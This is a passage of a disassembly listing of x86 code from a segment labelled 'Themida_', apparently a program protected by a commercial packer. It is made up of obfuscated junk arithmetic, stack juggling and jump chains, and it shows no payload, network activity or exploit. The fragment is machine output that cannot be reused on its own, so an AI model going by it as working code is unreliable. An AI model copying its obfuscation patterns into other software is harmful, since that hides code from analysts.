loc_564BF8: ; CODE XREF: sub_568D93+9BB3j
pop ebx
dec ecx
add ecx, 0FFFFFFFFh
xor ecx, 10CE1747h
sub ecx, 48B97936h
not ecx
add ecx, 0B7A6AA14h
add edi, ecx
pop ecx
sub esp, 4
jmp loc_573132
; END OF FUNCTION CHUNK FOR sub_568D93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_564C1F: ; CODE XREF: sub_56616D+D4A0j
xor ecx, edx
jmp loc_5748A1
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_564C26: ; CODE XREF: sub_56F782-45F3j
and ebp, 2DCF11E4h
shl ebp, 7
sub ebp, 4A2F72E8h
shr ebp, 5
dec ebp
xor ebp, 0B2C8E3h
jmp loc_56CFAE
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_564C44: ; CODE XREF: sub_569A84+725Bj
pop ebx
push edi
mov edi, 4
add ebx, edi
pop edi
push eax
jmp loc_56A87C
; END OF FUNCTION CHUNK FOR sub_569A84
; =============== S U B R O U T I N E =======================================
sub_564C54 proc near ; CODE XREF: sub_56EB4A+1845j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056310C SIZE 00000006 BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_56310C
sub_564C54 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_564C68: ; CODE XREF: sub_56EE9F-4116j
pop edx
jmp loc_563B75
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
loc_564C6E: ; CODE XREF: Themida_:00563BF6j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
push 3747h
mov [esp], edi
mov edi, esp
push esi
push ecx
mov ecx, 4
mov esi, ecx
pop ecx
add edi, esi
pop esi
push ebp
mov ebp, 233A0FF7h
sub ebp, 233A0FF3h
add edi, ebp
pop ebp
xchg edi, [esp]
jmp loc_569FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_564CAF: ; CODE XREF: sub_56638C-3F5Ej
sub esi, 1C927267h
pop edi
push 211Fh
jmp loc_56169E
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_564CC0: ; CODE XREF: sub_574CBE-10E61j
sub eax, esi
pop esi
add eax, esi
add eax, 412D5C32h
push edi
mov edi, 2D4849A7h
add eax, 17C657AFh
jmp sub_5736FA
; END OF FUNCTION CHUNK FOR sub_574CBE
; =============== S U B R O U T I N E =======================================
sub_564CDA proc near ; CODE XREF: sub_56C83E-8730j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005604E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563837 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563CE1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565726 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B111 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056EC3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EF17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F61F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005710C3 SIZE 0000001E BYTES
push ebp
push 596370AAh
pop ebp
xor ebp, 5C351C55h
mov edx, ebp
pop ebp
sub edx, 1034402Fh
xor edx, 0F5222CD4h
jmp loc_5710C3
sub_564CDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747AF
loc_564CFB: ; CODE XREF: sub_5747AF-FFC6j
mov ebp, 4
add [esp+18h+var_14], ebp
jmp loc_56271D
; END OF FUNCTION CHUNK FOR sub_5747AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_564D09: ; CODE XREF: sub_573876-8620j
mov edi, [esp+4+var_4]
jmp loc_568EBB
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_564D11: ; CODE XREF: sub_56F1DB-5C83j
push edx
jmp loc_569450
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_564D17: ; CODE XREF: sub_5738F4-511j
mov edi, 0BA837851h
sub edi, esi
pop esi
shl edi, 1
jmp loc_575481
; END OF FUNCTION CHUNK FOR sub_5738F4
; =============== S U B R O U T I N E =======================================
sub_564D26 proc near ; CODE XREF: sub_567D31-10CBj
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560074 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056011F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056031C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00560576 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00560AF7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00560F8D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005617D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00561D50 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00561FA4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00562433 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562527 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005627F4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005629B3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563216 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00563231 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005635BE SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056363F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00563E76 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00564A49 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00564F6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056549E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005658B0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565CF4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566431 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056695F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00566C6B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005670CD SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567284 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056830D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056878A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00568B2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005695E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569694 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056993E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569FB0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A248 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A54A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056AA02 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056AA60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B296 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B544 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056BD93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BE07 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056C5E1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C891 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CCDB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056D098 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D33B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D6ED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DC75 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056DE34 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E39C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E70E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056E988 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EE02 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056F231 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F573 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056F928 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056FAFD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056FBB4 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0056FE17 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056FF43 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FF6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057056F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00570DCB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570F64 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571055 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005714CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571C68 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057210B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572230 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0057233B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005726D1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0057275F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057393E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573CF7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005745F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574B15 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574C3A SIZE 00000008 BYTES
push ebp
mov ebp, 4
push ecx
mov ecx, 2B40229Ah
not ecx
and ecx, 46AA36FDh
xor ecx, 5FE77DAAh
jmp loc_56E70E
sub_564D26 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_564D45: ; CODE XREF: sub_565849+98EAj
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
rol [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_564D54: ; CODE XREF: sub_570621+2Cj
not ebx
inc ebx
shl ebx, 1
dec ebx
add ebx, 28205878h
add ebx, 0C1CBA9B5h
jmp loc_573160
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_564D6B: ; CODE XREF: sub_5713A7-413Ej
sub eax, 22C44741h
sub eax, 47743D03h
jmp loc_56FA23
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_564D7A: ; CODE XREF: sub_568E5C+8694j
sub eax, 66744DA4h
sub eax, ebp
add eax, 66744DA4h
push ebx
sub esp, 4
mov [esp+8+var_8], ecx
mov ecx, 44980400h
jmp loc_564556
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
loc_564D97: ; CODE XREF: Themida_:0056EF72j
pop ebp
jmp loc_562B50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_564D9D: ; CODE XREF: sub_560844+8263j
and ecx, 584C7E32h
push ebx
jmp loc_56C56B
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573B49
loc_564DA9: ; CODE XREF: sub_573B49-81BAj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_573B49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568DD7
loc_564DAE: ; CODE XREF: sub_568DD7+967Ej
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_568DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_564DB3: ; CODE XREF: sub_56749A-372Ej
add eax, 4
add eax, 4
xchg eax, [esp+14h+var_14]
jmp loc_56A802
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_564DC5: ; CODE XREF: sub_56EFD2-1060j
mov [esp+4+var_4], ebp
push 908h
mov [esp+8+var_8], esi
push ebx
mov ebx, 57B46FB7h
and ebx, 480513F3h
shl ebx, 2
shr ebx, 1
jmp loc_570983
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_564DE6: ; CODE XREF: sub_575420-35D4j
dec cl
add cl, 0E3h
shl cl, 6
add cl, 0CFh
xor cl, 0EEh
add al, cl
jmp loc_562C8F
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_564DFB: ; CODE XREF: sub_56B06D-5707j
mov ebp, 2F3B4242h
push edi
mov edi, 33EC42DAh
mov ebx, 0BD0CF63Bh
xor ebx, edi
pop edi
sub ebx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
push ecx
jmp loc_5644AA
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_564E1C: ; CODE XREF: sub_5638E4-23FBj
add esi, 4F1B41C6h
add esi, ebx
jmp loc_564919
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_564E29: ; CODE XREF: sub_567D31+8330j
pop esp
xchg ecx, [esp+0]
pop esp
mov esi, [esp-4+arg_0]
jmp loc_56F806
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565AFE
loc_564E36: ; CODE XREF: sub_565AFE+33j
mov edi, 55C9027Eh
inc edi
jmp loc_563FE0
; END OF FUNCTION CHUNK FOR sub_565AFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_564E41: ; CODE XREF: sub_56E126-79DCj
shr ebx, 2
xor ebx, 2674E45Fh
sub edi, 53D93622h
sub edi, ebx
jmp loc_56D647
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
loc_564E57: ; CODE XREF: Themida_:00572720j
add edi, 4
xchg edi, [esp]
pop esp
add ebx, 2
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_572ED1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_564E72: ; CODE XREF: sub_56E05C+7479j
xor edi, 76C025E4h
jmp loc_563945
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_564E7D: ; CODE XREF: sub_5673C3+3124j
pop [esp-8+arg_4]
pop esp
sub esp, 4
mov [esp-0Ch+arg_8], ebp
mov ebp, esp
push edi
mov edi, 4
jmp loc_567CE8
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_564E97: ; CODE XREF: sub_567D31-4DBEj
xor esi, ecx
mov ecx, [esp+0]
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 4
sub edi, 4287A2Dh
add edi, ebp
jmp loc_564157
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_564EB8: ; CODE XREF: sub_5685B2+A89Ej
pop ebx
jmp loc_56F7AB
; END OF FUNCTION CHUNK FOR sub_5685B2
; =============== S U B R O U T I N E =======================================
sub_564EBE proc near ; CODE XREF: sub_565B6E+6C07j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056275E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005630CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005643C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565A32 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567F04 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568575 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00568D38 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C695 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00572F4E SIZE 0000001F BYTES
sub esp, 4
jmp loc_568D38
sub_564EBE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_564EC6: ; CODE XREF: sub_561027+5FFAj
pop esi
jmp loc_569C48
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_564ECC: ; CODE XREF: sub_566400+3617j
xor ebp, 254B4C53h
push 64D3h
mov [esp+8+var_8], edx
push ebx
push edx
mov edx, 5CB846C0h
mov ebx, edx
pop edx
jmp loc_56C5D5
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_564EE9: ; CODE XREF: sub_569A84+74D2j
add eax, 0DA89652h
mov edx, eax
pop eax
or edx, 74B24BAFh
add edx, 5A5A38A0h
push ebx
mov ebx, 0D759889Dh
add edx, 4EE356Dh
sub edx, ebx
sub edx, 4EE356Dh
mov ebx, [esp+0Ch+var_C]
add esp, 4
add ebx, edx
pop edx
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_572479
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_564F2B: ; CODE XREF: sub_56AEF2+5D73j
sub bl, al
pop eax
jmp loc_56C29E
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_564F33: ; CODE XREF: sub_572641-87A0j
push cx
mov cl, 0C0h
sub al, cl
pop cx
jmp loc_57189C
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562BA0
loc_564F40: ; CODE XREF: sub_562BA0+9088j
add edx, 4
push ebx
push esp
pop ebx
jmp sub_5722C8
; END OF FUNCTION CHUNK FOR sub_562BA0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_564F4E: ; CODE XREF: sub_560844+DD72j
xor esi, 0AD1BC4DDh
add edx, esi
pop esi
sub eax, 67C76322h
add eax, edx
add eax, 67C76322h
pop edx
add eax, ebp
push ebp
jmp loc_569144
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_564F6C: ; CODE XREF: sub_564D26+862Ej
mov ebp, edi
pop edi
jmp loc_56031C
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_564F74: ; CODE XREF: sub_564BC5-514j
add edx, ecx
pop ecx
add edi, edx
jmp loc_56A093
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_564F7E: ; CODE XREF: sub_56E126-46Dj
xor esi, 5AB445FAh
sub esi, 0EC6924E6h
and ebx, esi
jmp loc_5603D1
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_564F91: ; CODE XREF: sub_56B11B+34Ej
sub [esp+10h+var_10], esi
jmp loc_57157C
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_564F99: ; CODE XREF: sub_56D3AF+1716j
push 6218h
mov [esp+4+var_4], esi
sub esp, 4
jmp loc_562EBE
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_564FAC: ; CODE XREF: sub_5610CE+1Aj
xor edi, 1D5FFFDAh
add ebx, edi
pop edi
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
pop esp
push edi
push ebp
mov ebp, 4A0C6E0Ah
push ebx
push 12330013h
pop ebx
add ebx, 184927D2h
and ebx, 223D3B49h
inc ebx
or ebx, 50D60E62h
xor ebx, 38F2416Ch
xor ebp, ebx
pop ebx
mov edi, ebp
pop ebp
add ecx, edi
pop edi
xchg ecx, [esp+0]
pop esp
push esi
mov esi, esp
push ebp
push ebx
jmp loc_560B21
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_565000: ; CODE XREF: sub_56B06D+2BCEj
push [esp+8+var_8]
jmp loc_569D2F
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_565008: ; CODE XREF: sub_57354D+Fj
push 5577h
mov [esp+0Ch+var_C], esp
add [esp+0Ch+var_C], 4
pop ebp
add ebp, 4
jmp loc_56668F
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_565023: ; CODE XREF: sub_560056+E92Dj
push eax
mov eax, esp
jmp loc_564953
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56502B: ; CODE XREF: sub_56FA15+4ED3j
mov ah, 31h
mov dh, 0D7h
add dh, ah
pop eax
push edx
mov dh, 6Dh
shr dh, 1
not dh
jmp loc_560374
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572270
loc_56503E: ; CODE XREF: sub_572270+12j
push esi
push 68A221ABh
mov esi, [esp+10h+var_10]
add esp, 4
jmp sub_5653AD
; END OF FUNCTION CHUNK FOR sub_572270
; =============== S U B R O U T I N E =======================================
sub_56504F proc near ; CODE XREF: sub_561541-1343j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560038 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566F09 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_560038
sub_56504F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_56505A: ; CODE XREF: sub_56DA43-CC08j
add esi, 4
push ecx
jmp loc_566180
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56666D
loc_565063: ; CODE XREF: sub_56666D+9j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0Ch+var_C]
pop esp
push 351Eh
mov [esp+0Ch+var_C], ecx
push esi
mov esi, 3D074458h
mov ecx, esi
mov esi, [esp+10h+var_10]
jmp loc_57513D
; END OF FUNCTION CHUNK FOR sub_56666D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_56508C: ; CODE XREF: sub_5610CE-5A3j
xor ebp, ebx
pop ebx
shl ebp, 8
and ebp, 7EAA6CE7h
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
sub ecx, ebx
pop ebx
xor ecx, [esp+8+var_8]
xor [esp+8+var_8], ecx
xor ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
push ecx
push edx
mov edx, 0AE4666Ch
jmp loc_57123E
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_5650C3: ; CODE XREF: sub_5687A3+C798j
pop edx
jmp loc_563A66
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_5650C9: ; CODE XREF: sub_56CC46-9334j
push 56A0h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
push [esp+8+var_8]
pop esi
push esi
jmp loc_56CEFD
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_5650E2: ; CODE XREF: sub_574000+7j
push 37E0h
mov [esp+8+var_8], edi
mov edi, 4AA56783h
add edi, 7B3F03E6h
not edi
jmp loc_56679B
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5736FA
loc_5650FC: ; CODE XREF: sub_5736FA-82j
mov [esp+0], ebx
push 3032AD5Fh
mov ebx, [esp+4+var_4]
add esp, 4
jmp sub_571289
; END OF FUNCTION CHUNK FOR sub_5736FA
; ---------------------------------------------------------------------------
loc_565112: ; CODE XREF: Themida_:00566A58j
pop esp
mov [esp], ebx
push 63560694h
pop ebx
sub esp, 4
mov [esp], edi
push ebp
jmp loc_563EAA
; ---------------------------------------------------------------------------
loc_565128: ; CODE XREF: Themida_:00563E06j
add ebx, 29A1DD5Fh
sub edx, ebx
pop ebx
add edx, 389E1CBCh
add ebx, edx
jmp loc_57491C
; =============== S U B R O U T I N E =======================================
sub_56513E proc near ; CODE XREF: sub_56D69D+4811j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00562890 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005674CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B2FA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005743FB SIZE 00000017 BYTES
push ebp
push 0AC7A34h
pop ebp
not ebp
sub esp, 4
jmp loc_5674CD
sub_56513E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_56514F: ; CODE XREF: sub_574949-13AACj
inc dh
xor dh, 2Fh
add dh, 10h
jmp loc_56E1C6
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56515C: ; CODE XREF: sub_56FA44+B80j
sub esi, 4
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
xor esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp+8+var_8], edi
mov edi, 55936F62h
dec edi
shr edi, 7
xor edi, 86F6C0Ah
add edi, 0F73BB530h
mov ebp, edi
jmp loc_56CD88
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_56518D: ; CODE XREF: sub_566B37+D80Fj
sub eax, esi
jmp loc_56855F
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575328
loc_565194: ; CODE XREF: sub_575328-11D6j
xor ecx, ebp
pop ebp
push ecx
jmp loc_56854C
; END OF FUNCTION CHUNK FOR sub_575328
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5735AA
loc_56519D: ; CODE XREF: sub_5735AA+19j
dec ecx
xchg ecx, esi
add esi, 5D82561Ah
sub ecx, esi
jmp loc_566837
; END OF FUNCTION CHUNK FOR sub_5735AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_5651AD: ; CODE XREF: sub_561F05+DE3Dj
pop esi
and ebx, ebp
pop ebp
xor ebx, 2C430C84h
add edi, ebx
pop ebx
push esi
mov esi, 5DD3089Ah
shr esi, 8
neg esi
sub esi, 0FFA22CF4h
sub edi, esi
pop esi
push edi
push [esp+8+var_4]
pop edi
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov [esp+0], esi
push 37F0h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop esi
jmp sub_562EB3
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_5651F2: ; CODE XREF: sub_56F3B2-AEFj
pop [esp+8+var_8]
jmp loc_56DBE5
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_5651FA: ; CODE XREF: sub_56B577+30BFj
xchg esi, [esp+4+var_4]
jmp loc_56F718
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_565202: ; CODE XREF: sub_56DD54-C1CDj
pop ebp
push edx
xor dword ptr [esp+0], 4C441156h
mov esi, [esp+0]
add esp, 4
xor esi, 4C441156h
jmp loc_56C378
; END OF FUNCTION CHUNK FOR sub_56DD54
